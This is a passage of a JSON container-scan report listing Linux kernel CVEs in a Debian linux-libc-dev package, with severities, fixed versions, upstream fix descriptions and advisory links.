"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64515", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68193", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68307", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68409", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72098", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72129", "https://errata.almalinux.org/10/ALSA-2026-65334.html", "https://errata.rockylinux.org/RLSA-2026:65334", "https://git.kernel.org/linus/aa16b2bc0f02709919e2435f531406531e5bcc69%20%287.1-rc4%29", "https://git.kernel.org/stable/c/8c795012d0e06b7740e40319b86ff8d2a435098d", "https://git.kernel.org/stable/c/8dd6edbe26770df147136c3f2ac976c873b82650", "https://git.kernel.org/stable/c/97a8e89cdef36207a8776edc03d6931763a06ad0", "https://git.kernel.org/stable/c/9baafc2fea096279e75480f93fd5942e8336b510", "https://git.kernel.org/stable/c/aa16b2bc0f02709919e2435f531406531e5bcc69", "https://linux.oracle.com/cve/CVE-2026-64051.html", "https://linux.oracle.com/errata/ELSA-2026-65334-0.html", "https://lore.kernel.org/linux-cve-announce/2026071908-CVE-2026-64051-c665@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64051", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8729-1", "https://ubuntu.com/security/notices/USN-8729-2", "https://ubuntu.com/security/notices/USN-8729-3", "https://ubuntu.com/security/notices/USN-8729-4", "https://ubuntu.com/security/notices/USN-8729-5", "https://ubuntu.com/security/notices/USN-8729-6", "https://ubuntu.com/security/notices/USN-8761-1", "https://ubuntu.com/security/notices/USN-8761-2", "https://ubuntu.com/security/notices/USN-8761-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8802-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-64051" ], "PublishedDate": "2026-07-19T16:17:45.517Z", "LastModifiedDate": "2026-09-02T21:10:13.047Z" }, { "VulnerabilityID": "CVE-2026-64061", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64061", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b3f6309cdc83579cde47a007bc58b5da0d271bd0652b6e3482794cb435a5fc49", "Title": "kernel: netfs: Fix early put of sink folio in netfs_read_gaps()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfs: Fix early put of sink folio in netfs_read_gaps()\n\nFix netfs_read_gaps() to release the sink page it uses after waiting for\nthe request to complete. The way the sink page is used is that an\nITER_BVEC-class iterator is created that has the gaps from the target folio\nat either end, but has the sink page tiled over the middle so that a single\nread op can fill in both gaps.\n\nThe bug was found by KASAN detecting a UAF on the generic/075 xfstest in\nthe cifsd kernel thread that handles reception of data from the TCP socket:\n\n BUG: KASAN: use-after-free in _copy_to_iter+0x48a/0xa20\n Write of size 885 at addr ffff888107f92000 by task cifsd/1285\n CPU: 2 UID: 0 PID: 1285 Comm: cifsd Not tainted 7.0.0 #6 PREEMPT(lazy)\n Call Trace:\n dump_stack_lvl+0x5d/0x80\n print_report+0x17f/0x4f1\n kasan_report+0x100/0x1e0\n kasan_check_range+0x10f/0x1e0\n __asan_memcpy+0x3c/0x60\n _copy_to_iter+0x48a/0xa20\n __skb_datagram_iter+0x2c9/0x430\n skb_copy_datagram_iter+0x6e/0x160\n tcp_recvmsg_locked+0xce0/0x1130\n tcp_recvmsg+0xeb/0x300\n inet_recvmsg+0xcf/0x3a0\n sock_recvmsg+0xea/0x100\n cifs_readv_from_socket+0x3a6/0x4d0 [cifs]\n cifs_read_iter_from_socket+0xdd/0x130 [cifs]\n cifs_readv_receive+0xaad/0xb10 [cifs]\n cifs_demultiplex_thread+0x1148/0x1740 [cifs]\n kthread+0x1cf/0x210", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64061", "https://git.kernel.org/linus/3e5dd91b87a8b1450217b56a336bee315f40da7d%20%287.1-rc5%29", "https://git.kernel.org/stable/c/2a39d49c8d97df8cb8fa80c10859bc1ba7358c6b", "https://git.kernel.org/stable/c/3e5dd91b87a8b1450217b56a336bee315f40da7d", "https://git.kernel.org/stable/c/412e8bad48967fd34295866636c028befd27d8b9", "https://git.kernel.org/stable/c/d4f4bc87c76511cf2532448b0fa40c25e894bd7d", "https://lore.kernel.org/linux-cve-announce/2026071910-CVE-2026-64061-8b7f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64061", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-64061" ], "PublishedDate": "2026-07-19T16:17:46.613Z", "LastModifiedDate": "2026-09-02T21:12:26.36Z" }, { "VulnerabilityID": "CVE-2026-64063", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64063", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8901ab0db4357b0635f23108a0aa55bb71c6ea4918c6017122f1755dadd141a8", "Title": "kernel: netfs: Fix streaming write being overwritten", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfs: Fix streaming write being overwritten\n\nIn order to avoid reading whilst writing, netfslib will allow \"streaming\nwrites\" in which dirty data is stored directly into folios without reading\nthem first. Such folios are marked dirty but may not be marked uptodate.\nIf a folio is entirely written by a streaming write, uptodate will be set,\notherwise it will have a netfs_folio struct attached to -\u003eprivate recording\nthe dirty region.\n\nIn the event that a partially written streaming write page is to be\noverwritten entirely by a single write(), netfs_perform_write() will try to\ncopy over it, but doesn't discard the netfs_folio if it succeeds; further,\nit doesn't correctly handle a partial copy that overwrites some of the\ndirty data.\n\nFix this by the following:\n\n (1) If the folio is successfully overwritten, free the netfs_folio struct\n before marking the page uptodate.\n\n (2) If the copy to the folio partially fails, but short of the dirty data,\n just ignore the copy.\n\n (3) If the copy partially fails and overwrites some of the dirty data,\n accept the copy, update the netfs_folio struct to record the new data.\n If the folio is now filled, free the netfs_folio and set uptodate,\n otherwise return a partial write.\n\nFound with:\n\n\tfsx -q -N 1000000 -p 10000 -o 128000 -l 600000 \\\n\t /xfstest.test/junk --replay-ops=junk.fsxops\n\nusing the following as junk.fsxops:\n\n\ttruncate 0x0 0 0x927c0\n\twrite 0x63fb8 0x53c8 0\n\tcopy_range 0xb704 0x19b9 0x24429 0x79380\n\twrite 0x2402b 0x144a2 0x90660 *\n\twrite 0x204d5 0x140a0 0x927c0 *\n\tcopy_range 0x1f72c 0x137d0 0x7a906 0x927c0 *\n\tread 0x00000 0x20000 0x9157c\n\tread 0x20000 0x20000 0x9157c\n\tread 0x40000 0x20000 0x9157c\n\tread 0x60000 0x20000 0x9157c\n\tread 0x7e1a0 0xcfb9 0x9157c\n\non cifs with the default cache option.\n\nIt shows folio 0x24 misbehaving if the FMODE_READ check is commented out in\nnetfs_perform_write():\n\n\t\tif (//(file-\u003ef_mode \u0026 FMODE_READ) ||\n\t\t netfs_is_cache_enabled(ctx)) {\n\nand no fscache. This was initially found with the generic/522 xfstest.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64063", "https://git.kernel.org/linus/7b4dcf1b9455a6e52ac7478b4057dbe10359576d%20%287.1-rc5%29", "https://git.kernel.org/stable/c/20195925c768626dc901a4781a51e508702c88ad", "https://git.kernel.org/stable/c/7b4dcf1b9455a6e52ac7478b4057dbe10359576d", "https://git.kernel.org/stable/c/cdae00e8e215d95911d95f100599e187b6560de5", "https://git.kernel.org/stable/c/ef9b521212e4863814ef7dfe19889abaf55ca840", "https://kernelcve.org/list/?q=CVE-2026-64063", "https://lore.kernel.org/linux-cve-announce/2026071911-CVE-2026-64063-7e32@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64063", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-64063" ], "PublishedDate": "2026-07-19T16:17:46.82Z", "LastModifiedDate": "2026-09-02T21:12:07.367Z" }, { "VulnerabilityID": "CVE-2026-64085", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64085", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c6ecf8b5173b980606935f4242a2ffb87bc60eb684728e842f5fc7c930c4bc8d", "Title": "kernel: hwmon: (pmbus/adm1266) bounce blackbox records through a protocol-sized buffer", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nhwmon: (pmbus/adm1266) bounce blackbox records through a protocol-sized buffer\n\nadm1266_pmbus_block_xfer() copies the device-supplied block payload\ninto the caller-provided buffer using the device-supplied length:\n\n\tmemcpy(data_r, \u0026msgs[1].buf[1], msgs[1].buf[0]);\n\nThe helper does not know how large data_r is and trusts the device to\nreturn at most one record's worth of bytes. adm1266_nvmem_read_blackbox()\nviolates that contract: it advances read_buff inside data-\u003edev_mem in\nADM1266_BLACKBOX_SIZE (64-byte) strides while the helper is willing to\nwrite up to ADM1266_PMBUS_BLOCK_MAX (255) bytes. A device that returns\nmore than 64 bytes on the trailing record (read_buff offset 1984 in\nthe 2048-byte dev_mem allocation) overflows dev_mem by up to 191 bytes\nbefore the post-call\n\n\tif (ret != ADM1266_BLACKBOX_SIZE)\n\t\treturn -EIO;\n\ncan reject the response.\n\nContain the fix in the caller without changing the helper signature:\nread each record into a 255-byte local bounce buffer that matches the\nhelper's maximum output, validate the returned length, and only then\ncopy exactly ADM1266_BLACKBOX_SIZE bytes into the dev_mem slot.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64085", "https://git.kernel.org/linus/43cae21424ff8e33894a0f86c6b80b840c049fd7%20%287.1-rc5%29", "https://git.kernel.org/stable/c/43cae21424ff8e33894a0f86c6b80b840c049fd7", "https://git.kernel.org/stable/c/6098634cfa711f11a8d65368dc51ec8f7c8241ba", "https://git.kernel.org/stable/c/60c4b9fe1a3dd012014b1f561a6928a0b5db1126", "https://git.kernel.org/stable/c/7896d87cbb05e097efc113243d4e38f9f8cea16c", "https://git.kernel.org/stable/c/83e039f0a43e0708515b0479cb7690fb93faaaa0", "https://git.kernel.org/stable/c/97a9cf2a8217ca1cdaf48cb9ab26e471632c7e7f", "https://git.kernel.org/stable/c/9d5309500b4607b7198e19f0a3fa13eb864cd5fb", "https://git.kernel.org/stable/c/dd47b8c4a0a8ced442da3f008db28fbbd31feaf0", "https://lore.kernel.org/linux-cve-announce/2026071916-CVE-2026-64085-d28f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64085", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8729-1", "https://ubuntu.com/security/notices/USN-8729-2", "https://ubuntu.com/security/notices/USN-8729-3", "https://ubuntu.com/security/notices/USN-8729-4", "https://ubuntu.com/security/notices/USN-8729-5", "https://ubuntu.com/security/notices/USN-8729-6", "https://ubuntu.com/security/notices/USN-8761-1", "https://ubuntu.com/security/notices/USN-8761-2", "https://ubuntu.com/security/notices/USN-8761-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8802-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-64085" ], "PublishedDate": "2026-07-19T16:17:49.173Z", "LastModifiedDate": "2026-09-03T12:36:50.037Z" }, { "VulnerabilityID": "CVE-2026-64099", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64099", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8ec63b9851ad67b2b027ec6b7ec85f1b2759953849e8e9a515c2526090e77c7b", "Title": "kernel: drm/v3d: Fix use-after-free of CPU job query arrays on error path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/v3d: Fix use-after-free of CPU job query arrays on error path\n\nThe CPU job ioctl's fail label calls kvfree() on cpu_job's timestamp and\nperformance query arrays after v3d_job_cleanup(), which drops the job's\nlast reference and frees cpu_job. Reading cpu_job at that point is a\nuse-after-free. Also, on the early v3d_job_init() failure path, it is a\nNULL dereference, since v3d_job_deallocate() zeroes the local pointer.\n\nIn the success path, the arrays are released from the scheduler's\n.free_job callback, but on the error path, they are freed manually, as\nthe job was never pushed to the scheduler. While the success path deals\nwith this correctly, the fail path doesn't.\n\nOn top of that, the manual kvfree() calls only free the array storage;\nthey don't drm_syncobj_put() the per-query syncobjs that\nv3d_timestamp_query_info_free() and v3d_performance_query_info_free()\nrelease on the success path. So the same fail path that triggers the\nuse-after-free also leaks one syncobj reference per query.\n\nUnify the CPU job teardown into the CPU job's kref destructor, mirroring\nv3d_render_job_free(). The scheduler's .free_job slot reverts to the\ngeneric v3d_sched_job_free() and the fail label drops the manual\nkvfree() calls, leaving a single teardown path that is reached from both\nthe scheduler and the ioctl error path. That removes the use-after-free,\nthe NULL dereference, and the syncobj leak by construction.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64099", "https://git.kernel.org/linus/b0fe80c0b9250b35e2211bf3117e7aca814a21b0%20%287.1-rc5%29", "https://git.kernel.org/stable/c/0f8efc45740b0628a787d1b0be8a0ddabd700625", "https://git.kernel.org/stable/c/69c2a1fec2e7ca25598180816f3bc56e1842eb41", "https://git.kernel.org/stable/c/acd55ea40d03e06f20a9986363019e0e5173990e", "https://git.kernel.org/stable/c/b0fe80c0b9250b35e2211bf3117e7aca814a21b0", "https://lore.kernel.org/linux-cve-announce/2026071919-CVE-2026-64099-f51b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64099", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-64099" ], "PublishedDate": "2026-07-19T16:17:50.983Z", "LastModifiedDate": "2026-08-11T16:05:40.573Z" }, { "VulnerabilityID": "CVE-2026-64103", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64103", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:215d27e1294bdf0351e38fb2d59eba89a5b65055ffe11c42e0c70dc50407df6f", "Title": "kernel: scsi: isci: Fix use-after-free in device removal path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: isci: Fix use-after-free in device removal path\n\nThe ISCI completion tasklet is initialized in isci_host_alloc()\n(drivers/scsi/isci/init.c:496) and scheduled from both MSI-X and legacy\ninterrupt handlers (drivers/scsi/isci/host.c:223,613).\n\nisci_host_deinit() stops the controller and waits for stop completion,\nbut it never kills completion_tasklet before teardown continues. A\ntop-of-function tasklet_kill() is not sufficient here: interrupts are\nonly disabled when isci_host_stop_complete() runs, so until\nwait_for_stop() returns the IRQ handlers can still requeue the\ntasklet. The tasklet callback also re-enables interrupts after draining\ncompletions, so killing the tasklet before the source is quiesced leaves\nthe same race open.\n\nOnce wait_for_stop() returns, no further IRQ-driven scheduling can\noccur. Kill completion_tasklet there so teardown cannot race a queued\ntasklet running on a dead ihost. On remove or unload, the stale callback\ncan otherwise dereference ihost and touch ihost-\u003esmu_registers after the\nhost lifetime ends.\n\nA UML + KASAN analogue reproduced the failure class both with no\ntasklet_kill() and with tasklet_kill() placed before source quiesce, and\nstayed clean once the kill happened after quiescing the scheduling\nsource.\n\nThis mirrors commit f6ab594672d4 (\"scsi: aic94xx: fix use-after-free in\ndevice removal path\"), but ISCI needs the kill after wait_for_stop().", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64103", "https://git.kernel.org/linus/b52a8d52c3125ec9a93106ed816582368de34426%20%287.1-rc5%29", "https://git.kernel.org/stable/c/1412995e10c74644b47f242aea6e4f3d4180e806", "https://git.kernel.org/stable/c/309c6058622d080fe8c2fab87c30da82d834d989", "https://git.kernel.org/stable/c/6d40f2f103bb30f52f3dbadbe2c3fdf274a9763c", "https://git.kernel.org/stable/c/a83d3e4daba40d49324cec1c51ed261e1ea48cf1", "https://git.kernel.org/stable/c/ab2266601a875982f2d2033f41e070a6d5e615e2", "https://git.kernel.org/stable/c/b52a8d52c3125ec9a93106ed816582368de34426", "https://git.kernel.org/stable/c/b9ff8631006233ba246828ac70409d2cb2da38d3", "https://git.kernel.org/stable/c/cb9e72c50e6c81a5903f27e0b397ce8525d7539b", "https://kernelcve.org/list/?q=CVE-2026-64103", "https://linux.oracle.com/cve/CVE-2026-64103.html", "https://linux.oracle.com/errata/ELBA-2026-500163.html", "https://lore.kernel.org/linux-cve-announce/2026071920-CVE-2026-64103-24fe@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64103", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8729-1", "https://ubuntu.com/security/notices/USN-8729-2", "https://ubuntu.com/security/notices/USN-8729-3", "https://ubuntu.com/security/notices/USN-8729-4", "https://ubuntu.com/security/notices/USN-8729-5", "https://ubuntu.com/security/notices/USN-8729-6", "https://ubuntu.com/security/notices/USN-8761-1", "https://ubuntu.com/security/notices/USN-8761-2", "https://ubuntu.com/security/notices/USN-8761-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8802-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-64103" ], "PublishedDate": "2026-07-19T16:17:51.533Z", "LastModifiedDate": "2026-11-06T17:18:36.3Z" }, { "VulnerabilityID": "CVE-2026-64113", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64113", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9b953c9f28730c7a2a2767639af2fbc35d3c02786e9634d0ea5247dbaf202a39", "Title": "kernel: ixgbevf: fix use-after-free in VEPA multicast source pruning", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nixgbevf: fix use-after-free in VEPA multicast source pruning\n\nixgbevf_clean_rx_irq() prunes frames whose source MAC matches the VF's\nown address (VEPA multicast workaround) by freeing the skb and\ncontinuing to the next descriptor:\n\n dev_kfree_skb_irq(skb);\n continue;\n\nThe skb pointer is declared outside the while loop and persists across\niterations. Because the continue skips the \"skb = NULL\" reset at the\nbottom of the loop, the next iteration enters the \"else if (skb)\" path\nand calls ixgbevf_add_rx_frag() on the freed skb, dereferencing\nskb_shinfo(skb)-\u003enr_frags - a use-after-free in NAPI softirq context.\n\nThe sibling driver iavf already handles this correctly by nulling the\npointer before continuing. Apply the same pattern here.\n\nI do not have ixgbevf hardware; the bug was found by static analysis\n(scan_drop_continue_loops.py + semgrep drop_continue_in_loop, multi-tool\ncorroboration with the highest score in the scan). The UAF was confirmed\nunder KASAN by loading a test module that reproduces the exact code\npattern (alloc skb, kfree_skb, then read skb_shinfo(skb)-\u003enr_frags):\n\n BUG: KASAN: slab-use-after-free in ixgbevf_uaf_test_init+0x100/0x1000\n Read of size 8 at addr 000000006163ae78 by task insmod/30\n freed 208-byte region [000000006163adc0, 000000006163ae90)\n\nQEMU emulates igb (82576) but not ixgbe (82599), and the igbvf VF\ndriver does not include the VEPA source pruning path, so a full\nend-to-end reproduction with emulated hardware was not possible.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:67150", "https://access.redhat.com/security/cve/CVE-2026-64113", "https://bugzilla.redhat.com/2425039", "https://bugzilla.redhat.com/2454867", "https://bugzilla.redhat.com/2460699", "https://bugzilla.redhat.com/2461451", "https://bugzilla.redhat.com/2461525", "https://bugzilla.redhat.com/2464093", "https://bugzilla.redhat.com/2468050", "https://bugzilla.redhat.com/2468192", "https://bugzilla.redhat.com/2468244", "https://bugzilla.redhat.com/2492092", "https://bugzilla.redhat.com/2492115", "https://bugzilla.redhat.com/2492270", "https://bugzilla.redhat.com/2492310", "https://bugzilla.redhat.com/2492408", "https://bugzilla.redhat.com/2492432", "https://bugzilla.redhat.com/2492717", "https://bugzilla.redhat.com/2492722", "https://bugzilla.redhat.com/2492762", "https://bugzilla.redhat.com/2492771", "https://bugzilla.redhat.com/2492795", "https://bugzilla.redhat.com/2502254", "https://bugzilla.redhat.com/2502320", "https://bugzilla.redhat.com/2502331", "https://bugzilla.redhat.com/2502346", "https://bugzilla.redhat.com/2502388", "https://bugzilla.redhat.com/2502413", "https://bugzilla.redhat.com/2502446", "https://bugzilla.redhat.com/2502473", "https://bugzilla.redhat.com/2502477", "https://bugzilla.redhat.com/2502518", "https://bugzilla.redhat.com/2502541", "https://bugzilla.redhat.com/2506782", "https://bugzilla.redhat.com/2507292", "https://bugzilla.redhat.com/2513141", "https://bugzilla.redhat.com/2513177", "https://bugzilla.redhat.com/2513253", "https://bugzilla.redhat.com/2513324", "https://bugzilla.redhat.com/2513397", "https://bugzilla.redhat.com/2513408", "https://bugzilla.redhat.com/2513452", "https://bugzilla.redhat.com/2513474", "https://bugzilla.redhat.com/2516501", "https://bugzilla.redhat.com/show_bug.cgi?id=2425039", "https://bugzilla.redhat.com/show_bug.cgi?id=2454867", 